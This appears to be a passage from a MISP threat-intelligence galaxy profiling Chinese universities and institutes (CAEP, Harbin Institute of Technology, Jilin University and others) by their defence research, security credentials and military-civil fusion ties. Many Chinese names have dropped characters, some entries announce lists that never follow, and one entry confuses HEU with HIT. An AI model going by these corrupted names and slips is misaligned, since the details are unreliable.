CAEP was founded in 1958 and now has over 24,000 employees. It is headquartered in Mianyang, Sichuan Province, but also has facilities in Chengdu and Beijing. Notably, Mianyang is home to a military-civil fusion (MCF) demonstration base—the Sichuan Mianyang High-Technology City. Sichuan Military District Commander Jiang Yongshen (姜永申) in 2016 stressed the important role that Mianyang plays in China’s larger science and technology development and the significance of its military-civil fusion (MCF) demonstration base.The academy is best known for nuclear weapons, but also carries out research on directed-energy weapons. CAEP’s four main tasks are to develop nuclear weapons, research microwaves and lasers for nuclear fusion ignition and directed-energy weapons, study technologies related to conventional weapons, and deepen military-civil fusion. It claims that its research covers 260 specialising, primarily in the broad areas of physics and mathematics, mechanics and engineering, materials and chemistry, electronics and information, and optics and electrical engineering.CAEP hosts part of the Tianhe-2 supercomputer, one of the worlds fastest supercomputers.Despite the sensitivity of its work, CAEP has expanded its

international presence in recent years. It claims to send hundreds of scientists overseas to study or work as visiting scholars. CAEP has also used Chinese government talent recruitment schemes such as the Thousand Talents Plan to recruit dozens of scientists from abroad. By 2015, CAEP had recruited 57 scholars through the Thousand Talents Plan, making it one of the largest recruiters of Thousand Talents Plan scholars. CAEP maintains strong collaborative relationships with Chinese civilian universities. It runs a joint laboratory with the University of Electronic Science and Technology of China and collaborates with universities and research institutions including the Chinese Academy of Sciences, the University of Science and Technology of China, Shandong University, Southwest University of Science and Technology, Sichuan University, Jilin University, Peking University and Tsinghua University. CAEP sponsors postgraduate students in many of these institutions who are required to work there for five years after graduating.

## Chongqing University (重 大学)

CQU is a leading Chinese research institution subordinate to the Ministry of Education. Chongqing University is home to at least two laboratories devoted to defence research on nanotechnology and control systems. An institution accredited to conduct classified research, Chongqing University is active in improving its security culture with respect to the safeguarding of official secrets. In December 2016, the Ministry of Education entered an agreement with defence industry agency SASTIND to advance military-civil fusion at Chongqing University. Following this agreement, Chongqing University established the defence-focused Ministry of Education Key Laboratory for Complex Systems Safety and Autonomous Control, which works on control systems engineering in May 2018.

<a href="https://unitracker.aspi.org.au/universities/chongqing-university">https://unitracker.aspi.org.au/universities/chongqing-university</a>

## Chongqing University of Posts and Telecommunications (重 大学)

CQUPT is involved in research on wireless network engineering and testing, next-generation wideband wireless communication, computer networking and information security, intelligent information processing, advanced manufacturing, micro-electronics and specialized chip design. It ranks among the top 100 universities in China for science and technology. The university is supervised by the Ministry of Industry and Information Technology and the Chongqing Municipal Government. It holds secret-level security credentials, allowing it to participate in classified defence

technology projects.

## Chongqing University of Technology (重 理工大学)

CQUT is a member of the B8 Cooperation Innovation Alliance (B8 同 新 盟 or 中国兵器 同 新 盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). However its involvement in defence research does not appear as expansive as the other B8 members and it is a relatively low-ranked university. In 2017, its president stated that ‘Chongqing is an important site for the weapons industry, but its military-industrial research and development ability has not yet upgraded.’ Unlike the other members of the B8, SASTIND does not appear to supervise the university. The university has links to Norinco Group and China South Industries Group, China’s largest weapons manufacturers, and was under the supervision of the conglomerates’ predecessor, China Ordnance Industry Corporation, until 1999. In 2017 and 2018, it signed a partnerships with four local defence companies to collaborate on research and training. In 2011, CQUT received secret-level security credentials, enabling it to participate in classified defence projects.

The tag is: *misp-galaxy:china-defence-universities="Chongqing University of Technology (重 理工大学)"*

## Commercial Aircraft Corporation of China (中国商用 机有限 任公司)

COMAC was established in 2008 as a state-owned manufacturer of large commercial aircraft. The company oversees eleven subsidiaries that focus on various aspects of aircraft production. A list of COMAC’s subordinate companies can be found in English on the company’s website. Despite its focus on commercial aircraft, China’s Ministry of Industry and Information Technology has referred to it as a defence industry conglomerate. The company maintains strong links to China’s defence industry and some of its leadership is drawn from former executives at state-owned military aircraft and missile manufacturers. China’s leading producer of military aircraft, the Aviation Industry Corporation of China (AVIC), also holds a 10 per cent share in COMAC. COMAC supports the continued development of China’s defence industry by awarding ‘national defence technology scholarships’ to Chinese university students. COMAC’s signature passenger aircraft, the C919, offers an example of how the company could use its civilian aircraft production for military purposes. Numerous Chinese analysts have studied Boeing’s conversion of the 737 into the P-8

Poseidon and E-7A surveillance aircraft and argue that the C919 could also be retrofitted for early warning as well as anti-surface and anti-submarine warfare missions. With a greater flight range than China's other military aircraft, a retrofitted C919 for maritime surveillance operations could reduce China's dependence on artificial air bases in the South China Sea which currently render aircraft vulnerable to corrosion due to harsh weather conditions. Vice-Chairman of the Central Military Commission, Zhang Youxia, reportedly expressed an interest in learning from American companies in converting civilian aircraft into military aircraft while inspecting COMAC's C919.

## Criminal Investigation Police University of China (中国刑事警察学院)

CIPUS was founded in May 1948 and underwent several name changes, but was upgraded in 1981 to become the first police university offering a specialised undergraduate degree program. It runs a national engineering laboratory, two MPS key laboratories, and provincial key laboratories. It is focused on training in criminal investigation, criminology science and technology and criminal law. The university also has relationships with companies that provide the technological tools that contribute to the PRC's public security apparatus. For instance, it has a relationship with the company Haiyun Data on public security intelligence. Haiyun provides data visualization services for MPS bureaus across China.

## Dalian Minzu University (大 民族大学)

DLMU was established in 1984 as an institution that researches China's ethnic minorities. The university is overseen by the State Ethnic Affairs Commission (SEAC), the Liaoning Provincial Government and the Dalian Municipal Government. Scientific disciplines taught by DLMU include communications and information engineering, machine engineering, civil engineering and environmental science. DLMU also researches political thought and minority groups of northeast China. DLMU currently hosts the Dalian Key Lab of Digital Technology for National Culture (大 市民族文化数字技 重点 室). Researchers at laboratory carry out research on facial recognition of ethnic minorities. The laboratory has collaborated with an academic from Curtin University on research related to the facial recognition of Tibetans, Koreans and Uyghurs—over one million of whom have disappeared into re-education camps. DLMU researchers are working on a database of

facial and optical movements across different ethnic groups. DLMU also hosts the State Ethnic Affairs Commission Key Laboratory of Intelligent Perception and Advanced Control (国家民委智能感知与先 控制重点 室), housed within the university's College of Electromechanical Engineering (机 工程学院). The laboratory has done work on convolutional neural networks for visual image recognition, which could have applications for surveillance technology. DLMU's party committee has an active United Front Work Department. The department supervises non-CCP members and students returning from overseas study. Management of religious and ethnic minorities are likely to be other priorities for the department.

## Dalian Naval Academy (中国人民解放 海 大 艇学院)

The Dalian Naval Academy is one of the main training colleges for junior officers and cadets in the PLA Navy. The academy focuses on maritime navigation technology, communications engineering, electronic information engineering, weapons systems engineering, surveying and control science. Scientists from the Dalian Naval Academy produce publications on a variety of defence topics, including:

## Dalian University of Technology (大 理工大学)

DLUT is directly under the administration of the Ministry of Education. In 2018, it came under the supervision of defence industry agency SASTIND as part of the government's efforts to deepen military-civil fusion in the university sector. In 2006, the university received secret-level security credentials, allowing it to participate in classified defence technology projects. Since then, it has expanded cooperation with the PLA Navy and joined several military-civil fusion innovation alliances. In 2015, the university established a defence laboratory in the School of Mechanical Engineering. The laboratory was proposed by a professor within the University's Institute of Science and Technology. The Institute of Science and Technology is primarily responsible for high-tech project management, where they manage projects for the 973 Program, the National Natural Science Foundation, and the Ministry of Education.

## Donghua University ( 大学)

DHU is subordinate to the Ministry of Education. It is actively involved in defence research on materials. It hosts the Key Laboratory of High Performance Fibers & Products, a defence-focused laboratory involved in materials science and textiles engineering research for China's defence industry and weapons systems. The laboratory is specifically involved in developing materials for weapons casings, vehicular armour, aviation and cabling. The university holds secret-level security credentials, allowing it to participate in classified defence research projects. DHU claims that much of its research has been applied to fields such as defence technology and aviation, and contributed towards China's space program and Beidou satellite navigation system. In 2018, the university signed a strategic cooperation agreement with the state-owned Jihua Group ( 集 ) for collaboration on textiles to meet the military's needs.

## East China University of Technology ( 理工大学)

ECUT was founded in 1956 as the first institution of higher education for China's nuclear industry. Since 2001, it has been subject to four 'joint construction' agreements between the Jiangxi Provincial Government and defence industry agency SASTIND or its predecessor COSTIND. These agreements are designed to develop the university's involvement in defense-related research and training. The Ministry of Natural Resources and defence conglomerate China National Nuclear Corporation are also involved in supervising and supporting ECUT. ECUT carries out defence research related to nuclear science and hosts a defence laboratory on radioactive geology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2006, the East China University of Technology National Defence Technology Institute ( 理工大学国防科技学院) was established.

## Engineering University of the CAPF (中国人民武装警察部 工程大学)

The Engineering University of the CAPF is an institution devoted to training personnel in China's paramilitary service, the People's Armed Police, in command and engineering disciplines. The university focuses on paramilitary information engineering, paramilitary equipment technology, non-lethal weapons, military communications and mathematical cryptography. Students of the university can select majors from disciplines such as communications engineering, information security, military big data engineering, management science and engineering, and mechanical engineering. The Engineering University of the CAPF hosts the Key Military Laboratory for Non-Lethal Weapons (非致命武器等全重点室), the Big Data and Cloud Computing Laboratory (大数据与云计算室), and the Command Automation Training Centre (指自化培中心), indicating expertise in these areas. The Engineering University of the CAPF has collaborated significantly with a Beijing-based company called SimpleEdu (北京西普光教育科技有限公司), focusing primarily on social media and internet research. Below is a list of initiatives with which the Engineering University of the CAPF has collaborated:

## Fudan University (复旦大学)

Fudan University is among China's best universities. It was ranked 104th in the world by Times Higher Education in 2019. The university appears to engage high levels of work for the military on materials science, including stealth technology. All defence-related projects and matters in Fudan are managed by the university's Institute of Special Materials and Technology (用材料与装技研究院) and Defence Industry Secrets Committee (旦大学工保密委员会). The Institute of Special Materials and Technology specialises in defence research and works on simulations, precision manufacturing, and materials. Professor Ye Mingxin, the institute's director, is also an advisor to the PLA and defence companies on materials science. Fudan University's Materials Science Department includes one professor who is described as specifically being a 'defence system professor', which may refer to Professor Ye. In 2011, Fudan established a State Secrets Academy (国家保密学院), in partnership with China's National Administration of State Secrets Protection (国家保密局). The institute carries out research and training on the protection of state secrets.

## Fuzhou University (福州大学)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (福州大学 民融合 新研究院) was jointly established in 2016 by Fuzhou University along with a number defence companies and military research institutions under the guidance of Fujian Provincial Government's National Defence Industry Office (省国防科工 ). Furthermore, the Fujian Provincial People's Government and SASTIND entered an agreement to jointly develop the university as part of China's military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.

The tag is: *misp-galaxy:china-defence-universities="Fuzhou University (福州大学)"*

Table 618. Table References

<a href="https://unitracker.aspi.org.au/universities/fuzhou-university">https://unitracker.aspi.org.au/universities/fuzhou-university</a>

## Guilin University of Electronic Science and Technology (桂林 电子科技大学)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018. The PLA describes GUET as 'Guangxi Province's only university to have long carried out defence research.' Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

The tag is: *misp-galaxy:china-defence-universities="Guilin University of Electronic Science and Technology (桂林 电子科技大学)"*

## Hangzhou Dianzi University (杭州 电子科技大学)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province's only provincial-level higher education institution to have officially designated national defence disciplines. HDU's leadership is closely integrated with its defence research. Since its creation in 2008, the university's main defence laboratory has been run by Xue Anke, who was the university's president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert

Committee on Artificial Intelligence Development. Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018. HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

## Hangzhou Normal University (杭州 大学)

Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (杭州 学院) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (阿里巴巴商学院). Hangzhou Normal University collaborates with China's MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China's leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China's policing capability.

The tag is: *misp-galaxy:china-defence-universities="Hangzhou Normal University (杭州 大学)"*

Table 621. Table References

<a href="https://unitracker.aspi.org.au/universities/hangzhou-normal-university">https://unitracker.aspi.org.au/universities/hangzhou-normal-university</a>

## Harbin Engineering University (哈 工程大学)

HEU is one of China's top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university's 2017 graduates who found employment were working in the defence sector. As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the 'Seven Sons of National Defence' (国防七子), HEU is an integral part of China's defence industry. HEU's achievements include producing China's first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy's submarine, undersea weapon, and warship projects. HIT's role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy

committed to developing HEU's capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center. HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China's nuclear warhead research organisation.

The tag is: *misp-galaxy:china-defence-universities="Harbin Engineering University (哈 工程大学)"*

Table 622. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/harbin-engineering-university">https://unitracker.aspi.org.au/universities/harbin-engineering-university</a>

## Harbin Institute of Technology (哈 工 大学)

HIT is one of China's top defence research universities. As one of seven universities run by MIIT, it is known as one of the 'Seven Sons of National Defence' (国防七子). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China's defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university's graduates that year who found employment were working in the defence sector. HIT has been described by Chinese state media as having 'defence technology innovation and weapons and armaments modernisation as its core'. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry. HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China's civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (哈 工 大学信息 抗技 研究所).

## Harbin University of Science and Technology (哈 理工大学)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university's involvement in defence-related research and training. HRBUST's relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: *misp-galaxy:china-defence-universities="Harbin University of Science and Technology (哈理工大学)"*

Table 624. Table References

Links
<a href="https://unitracker.aspi.org.au/universities/harbin-university-of-science-and-technology">https://unitracker.aspi.org.au/universities/harbin-university-of-science-and-technology</a>

## Hebei University (河北大学)

Hebei University is Hebei Province's only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in 'strengthening its national defence characteristics'. HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university's College of Physics Science and Technology as a 'discipline with defence characteristics'. An article about this on the university's news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU's only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. In 2017, HBU held a forum on military-civil fusion for technology and innovation to 'uncover the university's potential for defence-industry technological research' and encourage greater integration with defence companies.

The tag is: *misp-galaxy:china-defence-universities="Hebei University (河北大学)"*

Table 625. Table References

<a href="https://unitracker.aspi.org.au/universities/hebei-university">https://unitracker.aspi.org.au/universities/hebei-university</a>

## Hebei University of Science and Technology (河北科技大学)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government

agreed to jointly develop the university's involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated 'disciplines with national defence characteristics' by SASTIND. HEBUST may also be pursuing greater integration between China's defence needs and the university's research on textiles engineering and biological fermentation. HEBUST states that it has developed close cooperation with China Electronics Technology Group Corporation's 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

The tag is: *misp-galaxy:china-defence-universities="Hebei University of Science and Technology (河北科技大学)"*

<a href="https://unitracker.aspi.org.au/universities/hebei-university-of-science-and-technology">https://unitracker.aspi.org.au/universities/hebei-university-of-science-and-technology</a>

## Hefei University of Technology (合肥工 大学)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects. In 2018, the university came under a 'joint-construction' agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement 'will powerfully advance the university's development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.' Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China's defence industry, is a graduate of HFUT.

The tag is: *misp-galaxy:china-defence-universities="Hefei University of Technology (合肥工 大学)"*

Table 627. Table References

<a href="https://unitracker.aspi.org.au/universities/hefei-university-of-technology">https://unitracker.aspi.org.au/universities/hefei-university-of-technology</a>

## Heilongjiang Institute of Technology (江工程学院)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In 2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university's ability to 'show its national defence characteristics and serve the national defence science and technology industry.' SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three 'disciplines with national defence

characteristics' at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (教育部-中 通 ICT 教融合 新基地) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (江工程学院-中 信息通信技 学院). ZTE has been reportedly barred from US government contracts. As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (航天神舟智慧系 技 有限公司), specialises in smart city and informatization technology. HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

## Heilongjiang University (江大学)

HLJU is supervised by the Ministry of Education, the Heilongjiang Provincial Government and SASTIND. SASTIND's supervision of the university is designed to promote its integration with China's defence technology goals. In 2016, the year after HLJU came under SASTIND's supervision, the university received third-class security credentials and funding for a national defence technology research project for the first time. Third-class security credentials allow the university to participate in confidential defence research projects. By 2018, HLJU claimed to have received RMB13 million (AUD2.7 million) in defence research funding. HLJU has close ties with Russian universities and is best known for its work in the Chemistry, Chemical Engineering and Materials Department, which entered the top 1 percent of ESI's global rankings.

## Henan University of Science and Technology (河南科技大学)

HAUST is Henan province's leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province's only university subject to a 'joint-construction' agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST's involvement in defence research. As early as 2009, the university stated that it had made great

contributions to the defence and aviation industries, undertaking large amounts of defence research projects. HAUST describes itself as China's primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as 'disciplines with defence characteristics', covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities. The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

## Huazhong University of Science and Technology ( 中科技大学)

HUST is one of China's leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012. The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST's defence research. HUST has worked closely with the PLA and China's defence industry. This collaboration includes the development artificial intelligence and imaging technology for weapons. The university's work on pulsed power is linked to China's nuclear and directed-energy weapons program. China's state-owned defence conglomerates and China's nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating. HUST holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence projects.

## Hunan University (湖南大学)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its

participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research. In 2011, China's defence industry agency, SASTIND, entered a partnership with the MOE to expand the university's participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university's National Supercomputer Center. HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

## Hunan University of Science and Technology (湖南科技大学)

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a 'joint-construction' agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university's involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials. HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy. HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco's National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (武器点技国防科技重点 aka 瞬冲技国防科技重点 室).

## Information Engineering University (中国人民解放军 信息工程大学)

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as 'the sole military academy for the cyber and electronic warfare arms of China's network-electronic forces'. The IEU is currently

subordinate to the PLA Strategic Support Force's Network Systems Department, which holds the military's signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA's signals intelligence service that has been incorporated into the Strategic Support Force. IEU's command tracks include Network Engineering (网络工程), which is dedicated to the cultivation of cyber attack and defense technical cadre (攻防技 干部). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (河南省可 光通信重点 室). The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a 'whole-military foreign languages training base for individuals going abroad'. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA's political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

## Jiangnan Social University (江南社会学院)

JSU trains intelligence officers in tradecraft and carries out research on intelligence and security. The university first opened in 1986 with over 600 students and staff. Since 1999, it has run the Journal of Jiangnan Social University, which publishes research on international security, strategy and politics. Satellite and streetview imagery from Google Maps and Baidu appears to show a shooting range at the southern end of its campus.

The tag is: *misp-galaxy:china-defence-universities="Jiangnan Social University (江南社会学院)"*

Table 636. Table References

-------

## Jiangsu University of Science and Technology (江 科技大学)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China's leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, it was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research. JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects. Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: *misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (江科技大学)"*

Table 637. Table References

## Jilin University (吉林大学)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially. JLU's National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university's national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding. JLU's State Key Laboratory of Superhard Materials (超硬材料国家重点 室) works closely with China's nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (北京高 科学研究中心) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials. The university hosts at least two defence research labs, located in the university's College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (海 攻防 抗 真技 教育部重点 室 (B )) is involved in cybersecurity research for the Navy. The lab's academic committee is headed by a computer scientist from China

Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer. JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

## Kunming University of Science and Technology (昆明理工大学)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan's defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university's involvement in defence research. KMUST carries out high levels of research on metallurgy. It is involved in defence research related to China's aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

## Lanzhou University (兰州大学)

LZU's involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects. LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university's defence research and the defence industry relationships. LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology. In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China's largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China's nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation. In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

## Logistics University of the People's Armed Police Force (中国人民武装警察部 后勤学院)

The Logistics University of the People's Armed Police Force is an institution devoted to training personnel in logistics for China's paramilitary service, the People's Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering. The Logistics University of the People's Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (南 大学) and the Tianjin Eminent Electric Cell Material Company (天津 敏特 池材料有限公司) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (天津工 大学) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

## Nanchang Hangkong University (南昌航空大学)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a 'school with national defence education characteristics', and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials. Five fields of research at NCHU are designated 'national defence key disciplines': precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence

research.NCHU is particularly close to AVIC, the Chinese military's aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (洪都航空工 集 ) is based in Nanchang and has frequent exchanges with NCHU.

## Nanchang University (南昌大学)

NCU engages in low levels of defence research. It holds secret-level security credentials, allowing it to carry out classified defence research. In 2006, it established a defence research institute together with five provincial defence industry companies. Based on affiliated staff members, the institute may be focused on mechanical engineering. The university was added to the US Government Unverified List in 2018. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

## Nanjing Normal University (南京 大学)

